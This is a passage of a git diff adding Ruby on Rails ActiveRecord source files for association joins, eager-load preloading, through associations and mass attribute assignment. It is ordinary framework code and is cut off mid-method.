+ # more sense in this context), so we reverse
+ chain.reverse.each_with_index do |reflection, i|
+ table = tables.shift
+
+ case reflection.source_macro
+ when :belongs_to
+ key = reflection.association_primary_key
+ foreign_key = reflection.foreign_key
+ when :has_and_belongs_to_many
+ # Join the join table first...
+ manager.from(join(
+ table,
+ table[reflection.foreign_key].
+ eq(foreign_table[reflection.active_record_primary_key])
+ ))
+
+ foreign_table, table = table, tables.shift
+
+ key = reflection.association_primary_key
+ foreign_key = reflection.association_foreign_key
+ else
+ key = reflection.foreign_key
+ foreign_key = reflection.active_record_primary_key
+ end
+
+ constraint = build_constraint(reflection, table, key, foreign_table, foreign_key)
+
+ scope_chain_items = scope_chain[i]
+
+ if reflection.type
+ scope_chain_items += [
+ ActiveRecord::Relation.new(reflection.klass, table)
+ .where(reflection.type => foreign_klass.base_class.name)
+ ]
+ end
+
+ scope_chain_items.each do |item|
+ unless item.is_a?(Relation)
+ item = ActiveRecord::Relation.new(reflection.klass, table).instance_exec(self, &item)
+ end
+
+ constraint = constraint.and(item.arel.constraints) unless item.arel.constraints.empty?
+ end
+
+ manager.from(join(table, constraint))
+
+ # The current table in this iteration becomes the foreign table in the next
+ foreign_table, foreign_klass = table, reflection.klass
+ end
+
+ manager
+ end
+
+ # Builds equality condition.
+ #
+ # Example:
+ #
+ # class Physician < ActiveRecord::Base
+ # has_many :appointments
+ # end
+ #
+ # If I execute `Physician.joins(:appointments).to_a` then
+ # reflection #=> #<ActiveRecord::Reflection::AssociationReflection @macro=:has_many ...>
+ # table #=> #<Arel::Table @name="appointments" ...>
+ # key #=> physician_id
+ # foreign_table #=> #<Arel::Table @name="physicians" ...>
+ # foreign_key #=> id
+ #
+ def build_constraint(reflection, table, key, foreign_table, foreign_key)
+ constraint = table[key].eq(foreign_table[foreign_key])
+
+ if reflection.klass.finder_needs_type_condition?
+ constraint = table.create_and([
+ constraint,
+ reflection.klass.send(:type_condition, table)
+ ])
+ end
+
+ constraint
+ end
+
+ def join_relation(joining_relation)
+ self.join_type = Arel::OuterJoin
+ joining_relation.joins(self)
+ end
+
+ def table
+ tables.last
+ end
+
+ def aliased_table_name
+ table.table_alias || table.name
+ end
+
+ def scope_chain
+ @scope_chain ||= reflection.scope_chain.reverse
+ end
+
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_base.rb b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
new file mode 100644
index 0000000..a7dacdb
--- /dev/null
+++ b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
@@ -0,0 +1,24 @@
+module ActiveRecord
+ module Associations
+ class JoinDependency # :nodoc:
+ class JoinBase < JoinPart # :nodoc:
+ def ==(other)
+ other.class == self.class &&
+ other.base_klass == base_klass
+ end
+
+ def aliased_prefix
+ "t0"
+ end
+
+ def table
+ Arel::Table.new(table_name, arel_engine)
+ end
+
+ def aliased_table_name
+ base_klass.table_name
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_part.rb b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
new file mode 100644
index 0000000..b534569
--- /dev/null
+++ b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
@@ -0,0 +1,78 @@
+module ActiveRecord
+ module Associations
+ class JoinDependency # :nodoc:
+ # A JoinPart represents a part of a JoinDependency. It is inherited
+ # by JoinBase and JoinAssociation. A JoinBase represents the Active Record which
+ # everything else is being joined onto. A JoinAssociation represents an association which
+ # is joining to the base. A JoinAssociation may result in more than one actual join
+ # operations (for example a has_and_belongs_to_many JoinAssociation would result in
+ # two; one for the join table and one for the target table).
+ class JoinPart # :nodoc:
+ # The Active Record class which this join part is associated 'about'; for a JoinBase
+ # this is the actual base model, for a JoinAssociation this is the target model of the
+ # association.
+ attr_reader :base_klass
+
+ delegate :table_name, :column_names, :primary_key, :reflections, :arel_engine, :to => :base_klass
+
+ def initialize(base_klass)
+ @base_klass = base_klass
+ @cached_record = {}
+ @column_names_with_alias = nil
+ end
+
+ def aliased_table
+ Arel::Nodes::TableAlias.new table, aliased_table_name
+ end
+
+ def ==(other)
+ raise NotImplementedError
+ end
+
+ # An Arel::Table for the active_record
+ def table
+ raise NotImplementedError
+ end
+
+ # The prefix to be used when aliasing columns in the active_record's table
+ def aliased_prefix
+ raise NotImplementedError
+ end
+
+ # The alias for the active_record's table
+ def aliased_table_name
+ raise NotImplementedError
+ end
+
+ # The alias for the primary key of the active_record's table
+ def aliased_primary_key
+ "#{aliased_prefix}_r0"
+ end
+
+ # An array of [column_name, alias] pairs for the table
+ def column_names_with_alias
+ unless @column_names_with_alias
+ @column_names_with_alias = []
+
+ ([primary_key] + (column_names - [primary_key])).compact.each_with_index do |column_name, i|
+ @column_names_with_alias << [column_name, "#{aliased_prefix}_r#{i}"]
+ end
+ end
+ @column_names_with_alias
+ end
+
+ def extract_record(row)
+ Hash[column_names_with_alias.map{|cn, an| [cn, row[an]]}]
+ end
+
+ def record_id(row)
+ row[aliased_primary_key]
+ end
+
+ def instantiate(row)
+ @cached_record[record_id(row)] ||= base_klass.instantiate(extract_record(row))
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/join_helper.rb b/activerecord/lib/active_record/associations/join_helper.rb
new file mode 100644
index 0000000..5a41b40
--- /dev/null
+++ b/activerecord/lib/active_record/associations/join_helper.rb
@@ -0,0 +1,45 @@
+module ActiveRecord
+ module Associations
+ # Helper class module which gets mixed into JoinDependency::JoinAssociation and AssociationScope
+ module JoinHelper #:nodoc:
+
+ def join_type
+ Arel::InnerJoin
+ end
+
+ private
+
+ def construct_tables
+ tables = []
+ chain.each do |reflection|
+ tables << alias_tracker.aliased_table_for(
+ table_name_for(reflection),
+ table_alias_for(reflection, reflection != self.reflection)
+ )
+
+ if reflection.source_macro == :has_and_belongs_to_many
+ tables << alias_tracker.aliased_table_for(
+ (reflection.source_reflection || reflection).join_table,
+ table_alias_for(reflection, true)
+ )
+ end
+ end
+ tables
+ end
+
+ def table_name_for(reflection)
+ reflection.table_name
+ end
+
+ def table_alias_for(reflection, join = false)
+ name = "#{reflection.plural_name}_#{alias_suffix}"
+ name << "_join" if join
+ name
+ end
+
+ def join(table, constraint)
+ table.create_join(table, table.create_on(constraint), join_type)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb
new file mode 100644
index 0000000..82bf426
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader.rb
@@ -0,0 +1,178 @@
+module ActiveRecord
+ module Associations
+ # Implements the details of eager loading of Active Record associations.
+ #
+ # Note that 'eager loading' and 'preloading' are actually the same thing.
+ # However, there are two different eager loading strategies.
+ #
+ # The first one is by using table joins. This was only strategy available
+ # prior to Rails 2.1. Suppose that you have an Author model with columns
+ # 'name' and 'age', and a Book model with columns 'name' and 'sales'. Using
+ # this strategy, Active Record would try to retrieve all data for an author
+ # and all of its books via a single query:
+ #
+ # SELECT * FROM authors
+ # LEFT OUTER JOIN books ON authors.id = books.author_id
+ # WHERE authors.name = 'Ken Akamatsu'
+ #
+ # However, this could result in many rows that contain redundant data. After
+ # having received the first row, we already have enough data to instantiate
+ # the Author object. In all subsequent rows, only the data for the joined
+ # 'books' table is useful; the joined 'authors' data is just redundant, and
+ # processing this redundant data takes memory and CPU time. The problem
+ # quickly becomes worse and worse as the level of eager loading increases
+ # (i.e. if Active Record is to eager load the associations' associations as
+ # well).
+ #
+ # The second strategy is to use multiple database queries, one for each
+ # level of association. Since Rails 2.1, this is the default strategy. In
+ # situations where a table join is necessary (e.g. when the +:conditions+
+ # option references an association's column), it will fallback to the table
+ # join strategy.
+ class Preloader #:nodoc:
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :Association, 'active_record/associations/preloader/association'
+ autoload :SingularAssociation, 'active_record/associations/preloader/singular_association'
+ autoload :CollectionAssociation, 'active_record/associations/preloader/collection_association'
+ autoload :ThroughAssociation, 'active_record/associations/preloader/through_association'
+
+ autoload :HasMany, 'active_record/associations/preloader/has_many'
+ autoload :HasManyThrough, 'active_record/associations/preloader/has_many_through'
+ autoload :HasOne, 'active_record/associations/preloader/has_one'
+ autoload :HasOneThrough, 'active_record/associations/preloader/has_one_through'
+ autoload :HasAndBelongsToMany, 'active_record/associations/preloader/has_and_belongs_to_many'
+ autoload :BelongsTo, 'active_record/associations/preloader/belongs_to'
+ end
+
+ attr_reader :records, :associations, :preload_scope, :model
+
+ # Eager loads the named associations for the given Active Record record(s).
+ #
+ # In this description, 'association name' shall refer to the name passed
+ # to an association creation method. For example, a model that specifies
+ # <tt>belongs_to :author</tt>, <tt>has_many :buyers</tt> has association
+ # names +:author+ and +:buyers+.
+ #
+ # == Parameters
+ # +records+ is an array of ActiveRecord::Base. This array needs not be flat,
+ # i.e. +records+ itself may also contain arrays of records. In any case,
+ # +preload_associations+ will preload the all associations records by
+ # flattening +records+.
+ #
+ # +associations+ specifies one or more associations that you want to
+ # preload. It may be:
+ # - a Symbol or a String which specifies a single association name. For
+ # example, specifying +:books+ allows this method to preload all books
+ # for an Author.
+ # - an Array which specifies multiple association names. This array
+ # is processed recursively. For example, specifying <tt>[:avatar, :books]</tt>
+ # allows this method to preload an author's avatar as well as all of his
+ # books.
+ # - a Hash which specifies multiple association names, as well as
+ # association names for the to-be-preloaded association objects. For
+ # example, specifying <tt>{ author: :avatar }</tt> will preload a
+ # book's author, as well as that author's avatar.
+ #
+ # +:associations+ has the same format as the +:include+ option for
+ # <tt>ActiveRecord::Base.find</tt>. So +associations+ could look like this:
+ #
+ # :books
+ # [ :books, :author ]
+ # { author: :avatar }
+ # [ :books, { author: :avatar } ]
+ def initialize(records, associations, preload_scope = nil)
+ @records = Array.wrap(records).compact.uniq
+ @associations = Array.wrap(associations)
+ @preload_scope = preload_scope || Relation.new(nil, nil)
+ end
+
+ def run
+ unless records.empty?
+ associations.each { |association| preload(association) }
+ end
+ end
+
+ private
+
+ def preload(association)
+ case association
+ when Hash
+ preload_hash(association)
+ when Symbol
+ preload_one(association)
+ when String
+ preload_one(association.to_sym)
+ else
+ raise ArgumentError, "#{association.inspect} was not recognised for preload"
+ end
+ end
+
+ def preload_hash(association)
+ association.each do |parent, child|
+ Preloader.new(records, parent, preload_scope).run
+ Preloader.new(records.map { |record| record.send(parent) }.flatten, child).run
+ end
+ end
+
+ # Not all records have the same class, so group then preload group on the reflection
+ # itself so that if various subclass share the same association then we do not split
+ # them unnecessarily
+ #
+ # Additionally, polymorphic belongs_to associations can have multiple associated
+ # classes, depending on the polymorphic_type field. So we group by the classes as
+ # well.
+ def preload_one(association)
+ grouped_records(association).each do |reflection, klasses|
+ klasses.each do |klass, records|
+ preloader_for(reflection).new(klass, records, reflection, preload_scope).run
+ end
+ end
+ end
+
+ def grouped_records(association)
+ Hash[
+ records_by_reflection(association).map do |reflection, records|
+ [reflection, records.group_by { |record| association_klass(reflection, record) }]
+ end
+ ]
+ end
+
+ def records_by_reflection(association)
+ records.group_by do |record|
+ reflection = record.class.reflections[association]
+
+ unless reflection
+ raise ActiveRecord::ConfigurationError, "Association named '#{association}' was not found; " \
+ "perhaps you misspelled it?"
+ end
+
+ reflection
+ end
+ end
+
+ def association_klass(reflection, record)
+ if reflection.macro == :belongs_to && reflection.options[:polymorphic]
+ klass = record.send(reflection.foreign_type)
+ klass && klass.constantize
+ else
+ reflection.klass
+ end
+ end
+
+ def preloader_for(reflection)
+ case reflection.macro
+ when :has_many
+ reflection.options[:through] ? HasManyThrough : HasMany
+ when :has_one
+ reflection.options[:through] ? HasOneThrough : HasOne
+ when :has_and_belongs_to_many
+ HasAndBelongsToMany
+ when :belongs_to
+ BelongsTo
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb
new file mode 100644
index 0000000..8258890
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/association.rb
@@ -0,0 +1,121 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ class Association #:nodoc:
+ attr_reader :owners, :reflection, :preload_scope, :model, :klass
+
+ def initialize(klass, owners, reflection, preload_scope)
+ @klass = klass
+ @owners = owners
+ @reflection = reflection
+ @preload_scope = preload_scope
+ @model = owners.first && owners.first.class
+ @scope = nil
+ @owners_by_key = nil
+ end
+
+ def run
+ unless owners.first.association(reflection.name).loaded?
+ preload
+ end
+ end
+
+ def preload
+ raise NotImplementedError
+ end
+
+ def scope
+ @scope ||= build_scope
+ end
+
+ def records_for(ids)
+ scope.where(association_key.in(ids))
+ end
+
+ def table
+ klass.arel_table
+ end
+
+ # The name of the key on the associated records
+ def association_key_name
+ raise NotImplementedError
+ end
+
+ # This is overridden by HABTM as the condition should be on the foreign_key column in
+ # the join table
+ def association_key
+ table[association_key_name]
+ end
+
+ # The name of the key on the model which declares the association
+ def owner_key_name
+ raise NotImplementedError
+ end
+
+ # We're converting to a string here because postgres will return the aliased association
+ # key in a habtm as a string (for whatever reason)
+ def owners_by_key
+ @owners_by_key ||= owners.group_by do |owner|
+ key = owner[owner_key_name]
+ key && key.to_s
+ end
+ end
+
+ def options
+ reflection.options
+ end
+
+ private
+
+ def associated_records_by_owner
+ owners_map = owners_by_key
+ owner_keys = owners_map.keys.compact
+
+ if klass.nil? || owner_keys.empty?
+ records = []
+ else
+ # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000)
+ # Make several smaller queries if necessary or make one query if the adapter supports it
+ sliced = owner_keys.each_slice(klass.connection.in_clause_length || owner_keys.size)
+ records = sliced.map { |slice| records_for(slice).to_a }.flatten
+ end
+
+ # Each record may have multiple owners, and vice-versa
+ records_by_owner = Hash[owners.map { |owner| [owner, []] }]
+ records.each do |record|
+ owner_key = record[association_key_name].to_s
+
+ owners_map[owner_key].each do |owner|
+ records_by_owner[owner] << record
+ end
+ end
+ records_by_owner
+ end
+
+ def reflection_scope
+ @reflection_scope ||= reflection.scope ? klass.unscoped.instance_exec(nil, &reflection.scope) : klass.unscoped
+ end
+
+ def build_scope
+ scope = klass.unscoped
+ scope.default_scoped = true
+
+ values = reflection_scope.values
+ preload_values = preload_scope.values
+
+ scope.where_values = Array(values[:where]) + Array(preload_values[:where])
+ scope.references_values = Array(values[:references]) + Array(preload_values[:references])
+
+ scope.select! preload_values[:select] || values[:select] || table[Arel.star]
+ scope.includes! preload_values[:includes] || values[:includes]
+
+ if options[:as]
+ scope.where!(klass.table_name => { reflection.type => model.base_class.sti_name })
+ end
+
+ scope
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/belongs_to.rb b/activerecord/lib/active_record/associations/preloader/belongs_to.rb
new file mode 100644
index 0000000..5091d47
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/belongs_to.rb
@@ -0,0 +1,17 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ class BelongsTo < SingularAssociation #:nodoc:
+
+ def association_key_name
+ reflection.options[:primary_key] || klass && klass.primary_key
+ end
+
+ def owner_key_name
+ reflection.foreign_key
+ end
+
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/collection_association.rb b/activerecord/lib/active_record/associations/preloader/collection_association.rb
new file mode 100644
index 0000000..e6cd35e
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/collection_association.rb
@@ -0,0 +1,24 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ class CollectionAssociation < Association #:nodoc:
+
+ private
+
+ def build_scope
+ super.order(preload_scope.values[:order] || reflection_scope.values[:order])
+ end
+
+ def preload
+ associated_records_by_owner.each do |owner, records|
+ association = owner.association(reflection.name)
+ association.loaded!
+ association.target.concat(records)
+ records.each { |record| association.set_inverse_instance(record) }
+ end
+ end
+
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
new file mode 100644
index 0000000..9a3fada
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
@@ -0,0 +1,60 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ class HasAndBelongsToMany < CollectionAssociation #:nodoc:
+ attr_reader :join_table
+
+ def initialize(klass, records, reflection, preload_options)
+ super
+ @join_table = Arel::Table.new(reflection.join_table).alias('t0')
+ end
+
+ # Unlike the other associations, we want to get a raw array of rows so that we can
+ # access the aliased column on the join table
+ def records_for(ids)
+ scope = super
+ klass.connection.select_all(scope.arel, 'SQL', scope.bind_values)
+ end
+
+ def owner_key_name
+ reflection.active_record_primary_key
+ end
+
+ def association_key_name
+ 'ar_association_key_name'
+ end
+
+ def association_key
+ join_table[reflection.foreign_key]
+ end
+
+ private
+
+ # Once we have used the join table column (in super), we manually instantiate the
+ # actual records, ensuring that we don't create more than one instances of the same
+ # record
+ def associated_records_by_owner
+ records = {}
+ super.each_value do |rows|
+ rows.map! { |row| records[row[klass.primary_key]] ||= klass.instantiate(row) }
+ end
+ end
+
+ def build_scope
+ super.joins(join).select(join_select)
+ end
+
+ def join_select
+ association_key.as(Arel.sql(association_key_name))
+ end
+
+ def join
+ condition = table[reflection.association_primary_key].eq(
+ join_table[reflection.association_foreign_key])
+
+ table.create_join(join_table, table.create_on(condition))
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many.rb b/activerecord/lib/active_record/associations/preloader/has_many.rb
new file mode 100644
index 0000000..3ea91a8
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/has_many.rb
@@ -0,0 +1,17 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ class HasMany < CollectionAssociation #:nodoc:
+
+ def association_key_name
+ reflection.foreign_key
+ end
+
+ def owner_key_name
+ reflection.active_record_primary_key
+ end
+
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many_through.rb b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
new file mode 100644
index 0000000..157b627
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
@@ -0,0 +1,19 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ class HasManyThrough < CollectionAssociation #:nodoc:
+ include ThroughAssociation
+
+ def associated_records_by_owner
+ records_by_owner = super
+
+ if reflection_scope.distinct_value
+ records_by_owner.each_value { |records| records.uniq! }
+ end
+
+ records_by_owner
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/has_one.rb b/activerecord/lib/active_record/associations/preloader/has_one.rb
new file mode 100644
index 0000000..24728e9
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/has_one.rb
@@ -0,0 +1,23 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ class HasOne < SingularAssociation #:nodoc:
+
+ def association_key_name
+ reflection.foreign_key
+ end
+
+ def owner_key_name
+ reflection.active_record_primary_key
+ end
+
+ private
+
+ def build_scope
+ super.order(preload_scope.values[:order] || reflection_scope.values[:order])
+ end
+
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/has_one_through.rb b/activerecord/lib/active_record/associations/preloader/has_one_through.rb
new file mode 100644
index 0000000..f063f85
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/has_one_through.rb
@@ -0,0 +1,9 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ class HasOneThrough < SingularAssociation #:nodoc:
+ include ThroughAssociation
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/singular_association.rb b/activerecord/lib/active_record/associations/preloader/singular_association.rb
new file mode 100644
index 0000000..44e804d
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/singular_association.rb
@@ -0,0 +1,21 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ class SingularAssociation < Association #:nodoc:
+
+ private
+
+ def preload
+ associated_records_by_owner.each do |owner, associated_records|
+ record = associated_records.first
+
+ association = owner.association(reflection.name)
+ association.target = record
+ association.set_inverse_instance(record)
+ end
+ end
+
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/through_association.rb b/activerecord/lib/active_record/associations/preloader/through_association.rb
new file mode 100644
index 0000000..c4b50ab
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/through_association.rb
@@ -0,0 +1,63 @@
+module ActiveRecord
+ module Associations
+ class Preloader
+ module ThroughAssociation #:nodoc:
+
+ def through_reflection
+ reflection.through_reflection
+ end
+
+ def source_reflection
+ reflection.source_reflection
+ end
+
+ def associated_records_by_owner
+ through_records = through_records_by_owner
+
+ Preloader.new(through_records.values.flatten, source_reflection.name, reflection_scope).run
+
+ through_records.each do |owner, records|
+ records.map! { |r| r.send(source_reflection.name) }.flatten!
+ records.compact!
+ end
+ end
+
+ private
+
+ def through_records_by_owner
+ Preloader.new(owners, through_reflection.name, through_scope).run
+
+ Hash[owners.map do |owner|
+ through_records = Array.wrap(owner.send(through_reflection.name))
+
+ # Dont cache the association - we would only be caching a subset
+ if (through_scope != through_reflection.klass.unscoped) ||
+ (reflection.options[:source_type] && through_reflection.collection?)
+ owner.association(through_reflection.name).reset
+ end
+
+ [owner, through_records]
+ end]
+ end
+
+ def through_scope
+ through_scope = through_reflection.klass.unscoped
+
+ if options[:source_type]
+ through_scope.where! reflection.foreign_type => options[:source_type]
+ else
+ unless reflection_scope.where_values.empty?
+ through_scope.includes_values = Array(reflection_scope.values[:includes] || options[:source])
+ through_scope.where_values = reflection_scope.values[:where]
+ end
+
+ through_scope.references! reflection_scope.values[:references]
+ through_scope.order! reflection_scope.values[:order] if through_scope.eager_loading?
+ end
+
+ through_scope
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
new file mode 100644
index 0000000..1023855
--- /dev/null
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -0,0 +1,64 @@
+module ActiveRecord
+ module Associations
+ class SingularAssociation < Association #:nodoc:
+ # Implements the reader method, e.g. foo.bar for Foo.has_one :bar
+ def reader(force_reload = false)
+ if force_reload
+ klass.uncached { reload }
+ elsif !loaded? || stale_target?
+ reload
+ end
+
+ target
+ end
+
+ # Implements the writer method, e.g. foo.bar= for Foo.belongs_to :bar
+ def writer(record)
+ replace(record)
+ end
+
+ def create(attributes = {}, &block)
+ create_record(attributes, &block)
+ end
+
+ def create!(attributes = {}, &block)
+ create_record(attributes, true, &block)
+ end
+
+ def build(attributes = {})
+ record = build_record(attributes)
+ yield(record) if block_given?
+ set_new_record(record)
+ record
+ end
+
+ private
+
+ def create_scope
+ scope.scope_for_create.stringify_keys.except(klass.primary_key)
+ end
+
+ def find_target
+ scope.first.tap { |record| set_inverse_instance(record) }
+ end
+
+ # Implemented by subclasses
+ def replace(record)
+ raise NotImplementedError, "Subclasses must implement a replace(record) method"
+ end
+
+ def set_new_record(record)
+ replace(record)
+ end
+
+ def create_record(attributes, raise_error = false)
+ record = build_record(attributes)
+ yield(record) if block_given?
+ saved = record.save
+ set_new_record(record)
+ raise RecordInvalid.new(record) if !saved && raise_error
+ record
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb
new file mode 100644
index 0000000..35f29b3
--- /dev/null
+++ b/activerecord/lib/active_record/associations/through_association.rb
@@ -0,0 +1,87 @@
+module ActiveRecord
+ # = Active Record Through Association
+ module Associations
+ module ThroughAssociation #:nodoc:
+
+ delegate :source_reflection, :through_reflection, :chain, :to => :reflection
+
+ protected
+
+ # We merge in these scopes for two reasons:
+ #
+ # 1. To get the default_scope conditions for any of the other reflections in the chain
+ # 2. To get the type conditions for any STI models in the chain
+ def target_scope
+ scope = super
+ chain[1..-1].each do |reflection|
+ scope.merge!(
+ reflection.klass.all.with_default_scope.
+ except(:select, :create_with, :includes, :preload, :joins, :eager_load)
+ )
+ end
+ scope
+ end
+
+ private
+
+ # Construct attributes for :through pointing to owner and associate. This is used by the
+ # methods which create and delete records on the association.
+ #
+ # We only support indirectly modifying through associations which has a belongs_to source.
+ # This is the "has_many :tags, through: :taggings" situation, where the join model
+ # typically has a belongs_to on both side. In other words, associations which could also
+ # be represented as has_and_belongs_to_many associations.
+ #
+ # We do not support creating/deleting records on the association where the source has
+ # some other type, because this opens up a whole can of worms, and in basically any
+ # situation it is more natural for the user to just create or modify their join records
+ # directly as required.
+ def construct_join_attributes(*records)
+ ensure_mutable
+
+ join_attributes = {
+ source_reflection.foreign_key =>
+ records.map { |record|
+ record.send(source_reflection.association_primary_key(reflection.klass))
+ }
+ }
+
+ if options[:source_type]
+ join_attributes[source_reflection.foreign_type] =
+ records.map { |record| record.class.base_class.name }
+ end
+
+ if records.count == 1
+ Hash[join_attributes.map { |k, v| [k, v.first] }]
+ else
+ join_attributes
+ end
+ end
+
+ # Note: this does not capture all cases, for example it would be crazy to try to
+ # properly support stale-checking for nested associations.
+ def stale_state
+ if through_reflection.macro == :belongs_to
+ owner[through_reflection.foreign_key] && owner[through_reflection.foreign_key].to_s
+ end
+ end
+
+ def foreign_key_present?
+ through_reflection.macro == :belongs_to &&
+ !owner[through_reflection.foreign_key].nil?
+ end
+
+ def ensure_mutable
+ if source_reflection.macro != :belongs_to
+ raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection)
+ end
+ end
+
+ def ensure_not_nested
+ if reflection.nested?
+ raise HasManyThroughNestedAssociationsAreReadonly.new(owner, reflection)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb
new file mode 100644
index 0000000..e536f5e
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_assignment.rb
@@ -0,0 +1,201 @@
+
+module ActiveRecord
+ module AttributeAssignment
+ extend ActiveSupport::Concern
+ include ActiveModel::DeprecatedMassAssignmentSecurity
+ include ActiveModel::ForbiddenAttributesProtection
+
+ # Allows you to set all the attributes by passing in a hash of attributes with
+ # keys matching the attribute names (which again matches the column names).
+ #
+ # If the passed hash responds to <tt>permitted?</tt> method and the return value
+ # of this method is +false+ an <tt>ActiveModel::ForbiddenAttributesError</tt>
+ # exception is raised.
+ def assign_attributes(new_attributes)
+ return if new_attributes.blank?
+
+ attributes = new_attributes.stringify_keys
+ multi_parameter_attributes = []
+ nested_parameter_attributes = []
+
+ attributes = sanitize_for_mass_assignment(attributes)
+
+ attributes.each do |k, v|
+ if k.include?("(")
+ multi_parameter_attributes << [ k, v ]
+ elsif v.is_a?(Hash)
+ nested_parameter_attributes << [ k, v ]
+ else
+ _assign_attribute(k, v)
+ end
+ end
+
+ assign_nested_parameter_attributes(nested_parameter_attributes) unless nested_parameter_attributes.empty?
+ assign_multiparameter_attributes(multi_parameter_attributes) unless multi_parameter_attributes.empty?
+ end
+
+ alias attributes= assign_attributes
+
+ private
+
+ def _assign_attribute(k, v)
+ public_send("#{k}=", v)
+ rescue NoMethodError
+ if respond_to?("#{k}=")
+ raise
+ else
+ raise UnknownAttributeError, "unknown attribute: #{k}"
+ end
+ end
+
+ # Assign any deferred nested attributes after the base attributes have been set.
+ def assign_nested_parameter_attributes(pairs)
+ pairs.each { |k, v| _assign_attribute(k, v) }
+ end
+
+ # Instantiates objects for all attribute classes that needs more than one constructor parameter. This is done
+ # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
+ # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
+ # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
+ # parentheses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum and
+ # f for Float. If all the values for a given attribute are empty, the attribute will be set to +nil+.
+ def assign_multiparameter_attributes(pairs)
+ execute_callstack_for_multiparameter_attributes(
+ extract_callstack_for_multiparameter_attributes(pairs)
+ )
+ end
+
+ def execute_callstack_for_multiparameter_attributes(callstack)
+ errors = []
+ callstack.each do |name, values_with_empty_parameters|
+ begin
+ send("#{name}=", MultiparameterAttribute.new(self, name, values_with_empty_parameters).read_value)
+ rescue => ex
+ errors << AttributeAssignmentError.new("error on assignment #{values_with_empty_parameters.values.inspect} to #{name} (#{ex.message})", ex, name)
+ end
+ end
+ unless errors.empty?
+ error_descriptions = errors.map { |ex| ex.message }.join(",")
+ raise MultiparameterAssignmentErrors.new(errors), "#{errors.size} error(s) on assignment of multiparameter attributes [#{error_descriptions}]"
+ end
+ end
+
+ def extract_callstack_for_multiparameter_attributes(pairs)
+ attributes = {}
+
+ pairs.each do |(multiparameter_name, value)|
+ attribute_name = multiparameter_name.split("(").first
+ attributes[attribute_name] ||= {}
+
+ parameter_value = value.empty? ? nil : type_cast_attribute_value(multiparameter_name, value)
+ attributes[attribute_name][find_parameter_position(multiparameter_name)] ||= parameter_value
+ end
+
+ attributes
+ end
+
+ def type_cast_attribute_value(multiparameter_name, value)
+ multiparameter_name =~ /\([0-9]*([if])\)/ ? value.send("to_" + $1) : value
+ end
+
+ def find_parameter_position(multiparameter_name)
+ multiparameter_name.scan(/\(([0-9]*).*\)/).first.first.to_i
+ end
+
+ class MultiparameterAttribute #:nodoc:
+ attr_reader :object, :name, :values, :column
+
+ def initialize(object, name, values)
+ @object = object
+ @name = name
+ @values = values
+ end
+
+ def read_value
+ return if values.values.compact.empty?
+
+ @column = object.class.reflect_on_aggregation(name.to_sym) || object.column_for_attribute(name)
+ klass = column.klass
+
+ if klass == Time
+ read_time
+ elsif klass == Date
+ read_date
+ else
+ read_other(klass)
+ end
+ end
+
+ private
+
+ def instantiate_time_object(set_values)
+ if object.class.send(:create_time_zone_conversion_attribute?, name, column)
